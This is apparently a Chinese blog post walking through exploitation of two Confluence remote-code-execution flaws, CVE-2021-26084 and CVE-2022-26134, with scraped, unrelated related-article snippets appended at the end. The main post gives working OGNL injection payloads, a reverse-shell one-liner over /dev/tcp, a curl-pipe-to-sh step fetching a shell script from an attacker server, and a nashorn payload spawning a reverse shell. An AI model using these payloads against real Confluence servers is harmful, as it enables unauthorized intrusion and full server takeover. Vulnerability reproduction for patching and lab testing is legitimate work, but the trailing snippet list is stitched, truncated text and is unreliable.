jjzjj

confluence的几个高危漏洞复现

fly夏天 2024-04-08 原文

序言

本次复现涉及了好几个confluence的相关漏洞,从复现利用到提权,有兴趣的可以自行搭建环境测试。

1.CVE-2021-26084 Confluence OGNL 注入漏洞

1.1 漏洞描述

在某些情况下,远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下,通过构造恶意数据执行 OGNL 表达式进行注入攻击,实现在 Confluence Server 或 Data Center 上执行任意代码,最终控制服务器。

1.2 漏洞版本

Confluence Server & Confluence Data Center < 6.13.23      6.13.23

Confluence Server & Confluence Data Center < 7.11.6        7.11.6

Confluence Server & Confluence Data Center < 7.12.5        7.12.5

Confluence Server & Confluence Data Center < 7.4.11        7.4.11

1.3 漏洞复现

一般情况下,confluence会在登录页直接显示当前版本,所以我们可以访问url/login.action这个页面查看版本。
漏洞利用脚本可以参考 https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
后面的演示会通过这个脚本来执行,执行python CVE-2021-26084.py -u url
,如果漏洞存在就可以执行命令了。我们尝试一下whoami
可以看到漏洞就被成功执行了,至此这个漏洞的基本复现就完成了, 接下来我们来尝试提权。

1.4 获取主机权限

一般情况下 我们可以直接通过反弹shell的方式来获取主机权限

bash -i >& /dev/tcp/ip/port 0>&1

但是confluence的命令执行 部分字符会被url转义,所以直接在控制台反弹shell会直接报错
我们可以通过远程执行文件内容的方式来反弹shell

curl url/shell.txt |sh

其中,shell.txt为自己服务器上的一个文件,内容就是上文中的反弹时shell,直接执行这个操作,就能正常的反弹shell了。

2.CVE-2022-26134

2.1 漏洞描述

远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence Server或Data Center上执行任意代码。

2.2 漏洞版本

Confluence Server&Data Center ≥ 1.3.0
Atlassian Confluence Server and Data Center <7.4.17
Atlassian Confluence Server and Data Center <7.13.7
Atlassian Confluence Server and Data Center <7.14.3
Atlassian Confluence Server and Data Center <7.15.2
Atlassian Confluence Server and Data Center <7.16.4
Atlassian Confluence Server and Data Center <7.17.4
Atlassian Confluence Server and Data Center <7.18.1

2.3 漏洞复现

构造请求

/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/

其中exec中的内容为需要执行的命令,结果会返回在header的X-Cmd-Response中
至此漏洞利用成功

2.4 提权

构造

/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/ip/port 0>&1').start()")}/

即可反弹shell

有关confluence的几个高危漏洞复现的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. ruby - 如何检查一个字符串是否是几个不同值之一? - 2

    我有一个字符串变量,它只能包含6个不同的值。我想检查它是否包含前4个值之一或2个第二值之一。有没有比这更优雅的方式:ifstring.eql?'val1'||string.eql?'val2'||string.eql?'val3'||string.eql?'val4'...elsifstring.eql?'val5'||string.eql?'val6'...end可能类似于ifstringisin['val1','val2','val3','val4']? 最佳答案 您可以使用include?:if['val1','val2','

  3. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  4. ruby - 如何使用远程 API 将 Confluence "Space"导出为 PDF - 2

    如何将Confluence的“空间”导出为pdf文件?看起来Confluence5.0可能仍然支持使用XML-RPCAPI。不过,我找不到调用什么的示例。https://developer.atlassian.com/display/CONFDEV/Remote+API+Specification+for+PDF+Export#RemoteAPISpecificationforPDFExport-XML-RPCInformation该链接表示调用应以pdfexport为前缀,但没有列出任何调用或给出示例。 最佳答案 这可以使用Bob

  5. micropython复现经典单片机项目(二)可视化音频 频谱解析(基本搞定) - 2

    本人是音乐爱好者,从小就特别喜欢那个随着音乐跳动的方框效果,就是这个:arduino上一大把对,我忍你很久了,我就想用mpy做,全网没有,行我自己研究。果然兴趣是最好的老师,我之前有篇博客专门讲音频,有兴趣的可以回顾一下。提到可视化频谱,必然绕不开fft,大学学过这玩意,当时一心玩,老师讲的一个字都么听进去,网上教程简略扫了一下,大该就是把时域转频域的工具,我大mpy居然没有fft函数,奶奶的,先放着。音频信息如何收集?第一种傻瓜式的ADC,模拟转数字,原始粗暴,第二种,I2S库,我之前博客有讲过,数据是PCM编码。然后又去学PCM编码,一学豁然开朗,舒服,以代码为例:audio_in=I2S

  6. ruby - 几个月前在 ruby - 2

    我想不出一种方法(使用类定义)来获取几个月前的数据。秒、天和分钟都很好,因为它们始终是常量。但是,由于月份并不总是恒定的,我需要知道一种方法让ruby​​知道当月有多少天。 最佳答案 如果您的应用程序使用ActiveSupport(例如Rails应用程序),您可以使用3.months.ago获取当前日期减去3个月。 关于ruby-几个月前在ruby,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/qu

  7. ruby - $SAFE >= 1 的 ruby​​ 中可能存在哪些漏洞? - 2

    Ruby'ssafemode不允许通过潜在危险的操作使用受污染的数据。它的级别各不相同,0表示禁用,然后1-4表示安全级别。启用安全模式时可能存在哪些漏洞?您知道在启用安全模式时发给ruby​​程序的任何CVE编号吗?什么CWEViolations(或cwe系列)是否可以启用安全模式? 最佳答案 所有应用程序级别的漏洞都完全不受$SAFE级别的影响。不通过“不安全操作”的注入(inject)攻击,例如跨站点脚本和SQL注入(inject)。这或多或少包括Web应用程序的每个漏洞类别,可能除了本地和远程文件包含。查看OWASPTop1

  8. ruby - sinatra路由中的几个可选参数 - 2

    我需要Sinatra路由以下列方式运行:GET/list/20/10#Get20itemswithoffset10GET/list/20#Get20itemswithdefaultoffsetGET/list#Getdefaultnumberofitemswithdefaultoffset我明白,我可能会将值作为查询传递:GET/list?limit=20&offset=10但我想如上所述传递它们。我很确定有一种方法可以向Sinatra/Padrino解释我想做什么,但我目前完全被困住了。我试过:get:list,:map=>'/list',:with=>[:limit,:offset

  9. ruby-on-rails - 如何在 Ruby on Rails 中循环几个月 - 2

    我需要在RubyonRails应用程序中循环几个月。对于每个月,我需要找到给定月份的第一天和最后一天。然后在单独的查询中使用这些日期来查找在这些日期期间发生的事件并对其运行计算。最初,我尝试过类似的方法:(11.months.ago.to_date.month..Date.today.month).eachdo|m|start_date='01-#{m}-#{Date.today.year}'.to_date.beginning_of_monthend_date='01-#{m}-#{Date.today.year}'.to_date.end_of_monthend当然,如果11个月前

  10. Wordpress漏洞复现 - 2

    漏洞复现cms漏洞环境搭建漏洞复现cms1.内容管理系统(contentmanagementsystem,CMS),是一种位于WEB前端(Web服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。2.常见的cms系统国外的:Wordpress,Drupal,Joomla,这是国外最流行的3大CMS。国内则是DedeCMS和帝国,PHPCMS等。漏洞环境搭建一、

随机推荐